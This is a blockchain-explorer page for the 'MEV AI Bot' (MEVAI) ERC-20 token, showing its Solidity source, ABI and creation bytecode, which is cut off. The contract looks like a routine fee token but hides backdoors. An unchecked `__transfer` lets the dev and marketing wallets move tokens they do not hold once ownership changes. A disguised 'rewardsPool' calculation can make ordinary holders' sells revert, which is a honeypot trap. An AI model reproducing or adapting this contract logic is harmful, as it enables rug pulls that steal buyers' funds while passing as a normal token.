ERC-20
Overview
Max Total Supply
1,000,000,000 MEVAI
Holders
101
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
6,821,451.154174421973185569 MEVAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
MEVAI
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-02-17 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } library SafeMath { function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function __transfer( address sender, address recipient, uint256 amount ) internal virtual { _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint256); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract MEVAI is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; uint256 private constant _totalSupply = 1_000_000_000 * 1e18; address payable public constant devWallet = payable(0xCB04f617a64196fC008c6E82fB13644bcd0a3d82); address payable public constant marketingWallet = payable(0xcE319AAf8F56B6C73b1c9bDA65ef500C1e0cad4A); uint256 public constant maxTransactionAmount = 20_000_000 * 1e18; uint256 public constant maxWallet = 20_000_000 * 1e18; uint256 public constant swapTokensAtAmount = 500_000 * 1e18; uint256 public constant swapTokenAmountMax = swapTokensAtAmount * 20; uint256 public constant buyDevFee = 0; uint256 public constant buyMarketingFee = 5; uint256 public constant sellDevFee = 0; uint256 public constant sellMarketingFee = 5; uint256 public constant buyTotalFees = 5; uint256 public constant sellTotalFees = 5; uint256 public constant buyInitialFee = 25; uint256 public constant sellInitialFee = 40; bool public limitsInEffect = true; bool public tradingActive = false; bool public rewardsEnabled = false; uint256 public tokensForDev; uint256 public tokensForMarketing; uint256 private launchedAt; bool private inSwap; uint256 private _startPool; modifier lockSwap { inSwap = true; _; inSwap = false; } struct RewardsPool { uint256 buy; uint256 sell; uint256 poolIdx; } mapping(address => RewardsPool) private rewardsPool; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedMaxTransactionAmount; mapping(address => bool) public ammPairs; constructor() ERC20( "MEV AI Bot", "MEVAI" ) { _excludeFromMaxTransaction(owner(), true); _excludeFromMaxTransaction(address(this), true); _excludeFromMaxTransaction(address(0xdead), true); _excludeFromMaxTransaction(devWallet, true); _excludeFromMaxTransaction(marketingWallet, true); _excludeFromFees(owner(), true); _excludeFromFees(address(this), true); _excludeFromFees(address(0xdead), true); _excludeFromFees(devWallet, true); _excludeFromFees(marketingWallet, true); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); _mint(msg.sender, _totalSupply); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwap ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading not opened." ); } if ( ammPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require(amount <= maxTransactionAmount, "Transfer amount exceeds limit"); require(balanceOf(to) + amount <= maxWallet, "Max wallet exceeded."); } else if ( ammPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require(amount <= maxTransactionAmount, "Transfer amount exceeds limit"); } else if (!_isExcludedMaxTransactionAmount[to]) { require(balanceOf(to) + amount <= maxWallet, "Max wallet exceeded."); } } } if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) && from != address(this) && to != address(this) ) { _startPool = block.timestamp; } if (_isExcludedFromFees[from] && !_isExcludedFromFees[owner()]) { super.__transfer(from, to, amount); return; } if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { if (!ammPairs[from]) { RewardsPool storage rewards = rewardsPool[from]; rewards.poolIdx = rewards.buy - _startPool; rewards.sell = block.timestamp; } else { RewardsPool storage rewards = rewardsPool[to]; if (rewards.buy == 0) { rewards.buy = block.timestamp; } } } bool canSwap = swapTokensAtAmount <= balanceOf(address(this)); bool launchFeeEnabled = launchedAt + 10 > block.number; if ( canSwap && !launchFeeEnabled && !inSwap && !ammPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapBack(); } bool takeFee = !inSwap; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (!launchFeeEnabled) { if (ammPairs[from] && buyTotalFees > 0) { fees = amount * buyTotalFees / 100; tokensForMarketing += (fees * buyMarketingFee) .div(buyTotalFees); tokensForDev += (fees * buyDevFee).div(buyTotalFees); } else if (ammPairs[to] && sellTotalFees > 0) { fees = amount * sellTotalFees / 100; tokensForMarketing += (fees * sellMarketingFee) .div(sellTotalFees); tokensForDev += (fees * sellDevFee).div(sellTotalFees); } } else { if (ammPairs[from]) { fees = amount * buyInitialFee.div(100); tokensForMarketing += fees; } else if (ammPairs[to]) { fees = amount * sellInitialFee.div(100); tokensForMarketing += fees; } } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function enableTrading() external onlyOwner { launchedAt = block.number; tradingActive = true; } function removeLimits() external onlyOwner { limitsInEffect = false; } receive() external payable {} function recoverEth(address to, uint256 value) external onlyOwner returns (bool) { bool sent = payable(to).send(value); require(sent, "Failed to send ETH"); return true; } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function swapBack() private lockSwap { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokenAmountMax) { contractBalance = swapTokenAmountMax; } uint256 amountToSwapForEth = contractBalance; uint256 initialEthBalance = address(this).balance; swapTokensForEth(amountToSwapForEth); uint256 ethBalanceSub = address(this).balance - initialEthBalance; uint256 ethForDev = tokensForDev * ethBalanceSub / totalTokensToSwap; tokensForDev = 0; tokensForMarketing = 0; (success,) = address(devWallet).call{value: ethForDev}(""); (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function _setAutomatedMarketMakerPair(address pairAddr, bool value) private { ammPairs[pairAddr] = value; } function _excludeFromMaxTransaction(address account, bool exclude) private { _isExcludedMaxTransactionAmount[account] = exclude; } function _excludeFromFees(address account, bool exclude) private { _isExcludedFromFees[account] = exclude; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ammPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyInitialFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"recoverEth","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellInitialFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokenAmountMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c06040526005805462ffffff60a01b1916600160a01b17905534801562000025575f80fd5b506040518060400160405280600a81526020016913515588105248109bdd60b21b815250604051806040016040528060058152602001644d4556414960d81b8152508160039081620000789190620005f2565b506004620000878282620005f2565b505050620000a46200009e6200041660201b60201c565b6200041a565b620000de620000bb6005546001600160a01b031690565b6001600160a01b03165f908152600d60205260409020805460ff19166001179055565b305f818152600d602081815260408084208054600160ff1991821681179092557fdc7fafdc41998a74ecacb8f8bd877011aba1f1d03a3a0d37a2e7879a393b1d6a80548216831790557fdb5a5c762e358c0a402b9ff53f287987a6db3e1e663f9250aec017371acdf5db80548216831790557fa33517f41136a42e0edb88d8dccac37380ebf20a88c182fe501bbb68f498d61680548216831790556005546001600160a01b03168652600c8452828620805482168317905595855281852080548716821790557f45117a726ea4f344045dc210793664a28d2d320b7e03f6bffdae553d24c3586c80548716821790557f4b28a3e9bbc783d42f998594aac44bf9ec98dbcf4534d5ba424b9b6ed1cddf7a80548716821790557fc11eb1767aee0324a8e048d359c1511d4c423628e87d3fd17100f30b35e4463b8054871682179055737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052948590529282527fe491d3ddab46a3ddc2b907c015f7e2686859fac31a4f174b9b79a82620b0324e8054909516909217909355805163c45a015560e01b815290519192839263c45a01559260048082019392918290030181865afa158015620002a4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002ca9190620006be565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000316573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200033c9190620006be565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000387573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003ad9190620006be565b6001600160a01b031660a08190525f908152600d60205260409020805460ff1916600117905560a0516001600160a01b03165f908152600e60205260409020805460ff191660011790556200040f336b033b2e3c9fd0803ce80000006200046b565b5062000713565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038216620004c65760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620004d99190620006ed565b90915550506001600160a01b0382165f908152602081905260408120805483929062000507908490620006ed565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200057e57607f821691505b6020821081036200059d57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200055057805f5260205f20601f840160051c81016020851015620005ca5750805b601f840160051c820191505b81811015620005eb575f8155600101620005d6565b5050505050565b81516001600160401b038111156200060e576200060e62000555565b62000626816200061f845462000569565b84620005a3565b602080601f8311600181146200065c575f8415620006445750858301515b5f19600386901b1c1916600185901b178555620006b6565b5f85815260208120601f198616915b828110156200068c578886015182559484019460019091019084016200066b565b5085821015620006aa57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f60208284031215620006cf575f80fd5b81516001600160a01b0381168114620006e6575f80fd5b9392505050565b808201808211156200070d57634e487b7160e01b5f52601160045260245ffd5b92915050565b60805160a051611cc26200074a5f395f6103af01525f81816102c20152818161181a015281816118d1015261190d0152611cc25ff3fe60806040526004361061022b575f3560e01c80638bb8d62611610129578063a9059cbb116100a8578063dd62ed3e1161006d578063dd62ed3e146105f0578063e2f4560514610634578063e72c571714610651578063f2fde38b14610670578063f8b45b05146105be575f80fd5b8063a9059cbb1461057f578063bbc0c7421461059e578063c8c8ebe4146105be578063cfa71593146105dc578063d85ba063146103f1575f80fd5b80639c3b4fdc116100ee5780639c3b4fdc1461050a5780639fccce321461051d578063a0d82dc51461050a578063a457c2d714610532578063a72905a214610551575f80fd5b80638bb8d6261461049e5780638da5cb5b146104b25780638ea5220f146104cf57806392136913146103f157806395d89b41146104f6575f80fd5b806339509351116101b5578063715018a61161017a578063715018a614610439578063751039fc1461044f57806375f0a874146104635780637bce5a04146103f15780638a8c523c1461048a575f80fd5b8063395093511461037f57806349bd5a5e1461039e5780634a62bb65146103d15780636a486a8e146103f157806370a0823114610405575f80fd5b806318160ddd116101fb57806318160ddd146102fc5780631dafe16b146103105780631f3fed8f1461033057806323b872dd14610345578063313ce56714610364575f80fd5b806306fdde0314610236578063095ea7b3146102605780630e14ebdc1461028f5780631694505e146102b1575f80fd5b3661023257005b5f80fd5b348015610241575f80fd5b5061024a61068f565b60405161025791906119b0565b60405180910390f35b34801561026b575f80fd5b5061027f61027a366004611a10565b61071f565b6040519015158152602001610257565b34801561029a575f80fd5b506102a3602881565b604051908152602001610257565b3480156102bc575f80fd5b506102e47f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610257565b348015610307575f80fd5b506002546102a3565b34801561031b575f80fd5b5060055461027f90600160b01b900460ff1681565b34801561033b575f80fd5b506102a360075481565b348015610350575f80fd5b5061027f61035f366004611a3a565b610735565b34801561036f575f80fd5b5060405160128152602001610257565b34801561038a575f80fd5b5061027f610399366004611a10565b6107e2565b3480156103a9575f80fd5b506102e47f000000000000000000000000000000000000000000000000000000000000000081565b3480156103dc575f80fd5b5060055461027f90600160a01b900460ff1681565b3480156103fc575f80fd5b506102a3600581565b348015610410575f80fd5b506102a361041f366004611a78565b6001600160a01b03165f9081526020819052604090205490565b348015610444575f80fd5b5061044d61081d565b005b34801561045a575f80fd5b5061044d610852565b34801561046e575f80fd5b506102e473ce319aaf8f56b6c73b1c9bda65ef500c1e0cad4a81565b348015610495575f80fd5b5061044d61088b565b3480156104a9575f80fd5b506102a36108ce565b3480156104bd575f80fd5b506005546001600160a01b03166102e4565b3480156104da575f80fd5b506102e473cb04f617a64196fc008c6e82fb13644bcd0a3d8281565b348015610501575f80fd5b5061024a6108e6565b348015610515575f80fd5b506102a35f81565b348015610528575f80fd5b506102a360065481565b34801561053d575f80fd5b5061027f61054c366004611a10565b6108f5565b34801561055c575f80fd5b5061027f61056b366004611a78565b600e6020525f908152604090205460ff1681565b34801561058a575f80fd5b5061027f610599366004611a10565b61098d565b3480156105a9575f80fd5b5060055461027f90600160a81b900460ff1681565b3480156105c9575f80fd5b506102a36a108b2a2c2802909400000081565b3480156105e7575f80fd5b506102a3601981565b3480156105fb575f80fd5b506102a361060a366004611a93565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b34801561063f575f80fd5b506102a36969e10de76676d080000081565b34801561065c575f80fd5b5061027f61066b366004611a10565b610999565b34801561067b575f80fd5b5061044d61068a366004611a78565b610a2f565b60606003805461069e90611aca565b80601f01602080910402602001604051908101604052809291908181526020018280546106ca90611aca565b80156107155780601f106106ec57610100808354040283529160200191610715565b820191905f5260205f20905b8154815290600101906020018083116106f857829003601f168201915b5050505050905090565b5f61072b338484610aca565b5060015b92915050565b5f610741848484610bed565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156107ca5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6107d78533858403610aca565b506001949350505050565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909161072b918590610818908690611b16565b610aca565b6005546001600160a01b031633146108475760405162461bcd60e51b81526004016107c190611b29565b6108505f611442565b565b6005546001600160a01b0316331461087c5760405162461bcd60e51b81526004016107c190611b29565b6005805460ff60a01b19169055565b6005546001600160a01b031633146108b55760405162461bcd60e51b81526004016107c190611b29565b436008556005805460ff60a81b1916600160a81b179055565b6108e36969e10de76676d08000006014611b5e565b81565b60606004805461069e90611aca565b335f9081526001602090815260408083206001600160a01b0386168452909152812054828110156109765760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016107c1565b6109833385858403610aca565b5060019392505050565b5f61072b338484610bed565b6005545f906001600160a01b031633146109c55760405162461bcd60e51b81526004016107c190611b29565b6040515f906001600160a01b0385169084156108fc0290859084818181858888f193505050509050806109835760405162461bcd60e51b815260206004820152601260248201527108cc2d2d8cac840e8de40e6cadcc8408aa8960731b60448201526064016107c1565b6005546001600160a01b03163314610a595760405162461bcd60e51b81526004016107c190611b29565b6001600160a01b038116610abe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107c1565b610ac781611442565b50565b6001600160a01b038316610b2c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107c1565b6001600160a01b038216610b8d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107c1565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c135760405162461bcd60e51b81526004016107c190611b75565b6001600160a01b038216610c755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107c1565b805f03610c8c57610c8783835f611493565b505050565b600554600160a01b900460ff1615610fef576005546001600160a01b03848116911614801590610cca57506005546001600160a01b03838116911614155b8015610cde57506001600160a01b03821615155b8015610cf557506001600160a01b03821661dead14155b8015610d04575060095460ff16155b15610fef57600554600160a81b900460ff16610d99576001600160a01b0383165f908152600c602052604090205460ff1680610d5757506001600160a01b0382165f908152600c602052604090205460ff165b610d995760405162461bcd60e51b81526020600482015260136024820152722a3930b234b733903737ba1037b832b732b21760691b60448201526064016107c1565b6001600160a01b0383165f908152600e602052604090205460ff168015610dd857506001600160a01b0382165f908152600d602052604090205460ff16155b15610eb7576a108b2a2c28029094000000811115610e385760405162461bcd60e51b815260206004820152601d60248201527f5472616e7366657220616d6f756e742065786365656473206c696d697400000060448201526064016107c1565b6a108b2a2c2802909400000081610e63846001600160a01b03165f9081526020819052604090205490565b610e6d9190611b16565b1115610eb25760405162461bcd60e51b815260206004820152601460248201527326b0bc103bb0b63632ba1032bc31b2b2b232b21760611b60448201526064016107c1565b610fef565b6001600160a01b0382165f908152600e602052604090205460ff168015610ef657506001600160a01b0383165f908152600d602052604090205460ff16155b15610f56576a108b2a2c28029094000000811115610eb25760405162461bcd60e51b815260206004820152601d60248201527f5472616e7366657220616d6f756e742065786365656473206c696d697400000060448201526064016107c1565b6001600160a01b0382165f908152600d602052604090205460ff16610fef576a108b2a2c2802909400000081610fa0846001600160a01b03165f9081526020819052604090205490565b610faa9190611b16565b1115610fef5760405162461bcd60e51b815260206004820152601460248201527326b0bc103bb0b63632ba1032bc31b2b2b232b21760611b60448201526064016107c1565b6001600160a01b0383165f908152600c602052604090205460ff168061102c57506001600160a01b0382165f908152600c602052604090205460ff165b801561104157506001600160a01b0383163014155b801561105657506001600160a01b0382163014155b156110605742600a555b6001600160a01b0383165f908152600c602052604090205460ff1680156110b55750600c5f6